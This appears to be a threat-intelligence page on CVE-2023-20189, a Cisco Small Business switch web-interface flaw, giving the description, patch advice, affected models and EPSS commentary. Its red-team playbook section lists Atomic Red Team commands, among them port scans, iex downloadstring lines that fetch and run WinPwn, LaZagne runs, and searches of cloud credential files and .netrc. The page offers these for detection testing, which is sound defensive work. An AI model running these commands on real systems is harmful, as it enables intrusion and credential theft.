CVE-2023-20189
Overview
This vulnerability involves improper validation of HTTP requests within the web-based user interface of Cisco Small Business Smart and Managed Switches. Specifically, the web interface fails to correctly verify input parameters, leading to memory corruption issues such as buffer overflows. The affected component is the embedded web management interface firmware of multiple Cisco Small Business Series Switch models.
Vulnerability Description
Multiple vulnerabilities in the web-based user interface of certain Cisco Small Business Series Switches could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition or execute arbitrary code with root privileges on an affected device. These vulnerabilities are due to improper validation of requests that are sent to the web interface. For more information about these vulnerabilities, see the Details section of this advisory.
Impact
An unauthenticated remote attacker can exploit these vulnerabilities over the network to execute arbitrary code with root privileges or cause a denial of service, resulting in complete control or disruption of the affected switch. No user interaction or prior authentication is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This enables attackers to compromise network infrastructure devices, potentially impacting network availability and security posture within enterprise environments.
Solution
Cisco has released security updates for the affected Small Business Smart and Managed Switches firmware versions as detailed in their advisory (cisco-sa-sg-web-multi-S9g4Nkgv). Administrators should apply the latest firmware patches provided by Cisco for the business_250 series switches to remediate these vulnerabilities. Refer to the official Cisco Security Advisory at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sg-web-multi-S9g4Nkgv for comprehensive patching instructions and version-specific guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerabilities present in the web-based user interface of certain Cisco Small Business Series Switches stem from inadequate validation of requests sent to the interface. This flaw allows an unauthenticated remote attacker to exploit the system, leading to potential denial of service (DoS) conditions or even the execution of arbitrary code with root privileges. The implications of such vulnerabilities are profound, as they compromise the integrity and availability of critical network infrastructure. Attackers can leverage these weaknesses to disrupt services, manipulate device configurations, or gain unauthorized access to sensitive data.
Exploitation of these vulnerabilities can occur through various attack vectors. An attacker could initiate a crafted request to the web interface, which, due to the improper validation, may not be adequately checked for authenticity or integrity. This could lead to a scenario where the attacker can execute malicious code, potentially allowing them to take full control of the affected device. Furthermore, the ability to cause a DoS condition means that legitimate users may be unable to access network resources, leading to significant operational disruptions. The simplicity of the attack, requiring no authentication, makes it particularly concerning for organizations relying on these devices for their networking needs.
The real-world impact of these vulnerabilities can be severe, particularly for small to medium-sized businesses that depend on Cisco's Small Business Series Switches for their networking infrastructure. A successful attack could result in significant downtime, loss of productivity, and potential financial losses. Additionally, organizations may face reputational damage if customer data is compromised or if they are unable to maintain service continuity. The risk extends beyond immediate operational concerns, as regulatory implications may arise if sensitive data is exposed or mishandled due to a breach.
To detect and mitigate these vulnerabilities, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions provided by Cisco is critical, as these updates often contain patches for known vulnerabilities. Network monitoring solutions can help identify unusual traffic patterns or unauthorized access attempts, allowing for timely intervention. Additionally, employing firewalls to restrict access to the web interface can minimize exposure to potential attackers. Organizations should also conduct regular security assessments and penetration testing to identify and address vulnerabilities proactively.
In conclusion, the vulnerabilities affecting the web-based user interface of Cisco Small Business Series Switches represent a significant risk to network security and operational integrity. The potential for remote exploitation without authentication highlights the need for robust security practices and proactive management of network devices. By understanding the nature of these vulnerabilities and implementing effective detection and mitigation strategies, organizations can better protect their infrastructure from malicious actors and reduce the likelihood of successful attacks.
CSURFACE threat intelligence has detected a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-20189, rising by approximately 14.6% and placing it near the 90th percentile for exploit likelihood. This upward trend, coupled with a sustained increase over the past week, indicates growing interest or potential preparatory activity by threat actors targeting the vulnerable Cisco Small Business Series Switches. Although no new exploit techniques or active campaigns have been identified in our telemetry, the rising EPSS score suggests that exploitation attempts may become more frequent or sophisticated in the near term. For defenders, this shift underscores an elevated risk environment where the window for successful exploitation without authentication is narrowing, demanding heightened vigilance. Consequently, the threat level for this vulnerability has increased from a static critical rating to one characterized by dynamic and escalating exploitation potential, warranting closer monitoring despite the absence of confirmed active exploits.
Affected Products (229)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Business 250-16p-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-16p-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-16t-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-16t-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24fp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24fp-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24fp-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24fp-4x_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24p-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24p-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24p-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24p-4x_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24pp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24pp-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24t-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24t-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24t-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24t-4x_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-48p-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48p-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-48p-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-48p-4x_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-48pp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48pp-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-48t-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48t-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-48t-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-48t-4x_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8fp-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8fp-e-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8p-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8p-e-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8pp-D Firmware | N/A |
cpe:2.3:o:cisco:business_250-8pp-d_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8pp-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8pp-e-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8t-D Firmware | N/A |
cpe:2.3:o:cisco:business_250-8t-d_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8t-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8t-e-2g_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-20189 |
| sec.cloudapps.cisco.com |
GitHub CVE
vendor-advisory
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sg-web-multi-S9g4Nkgv |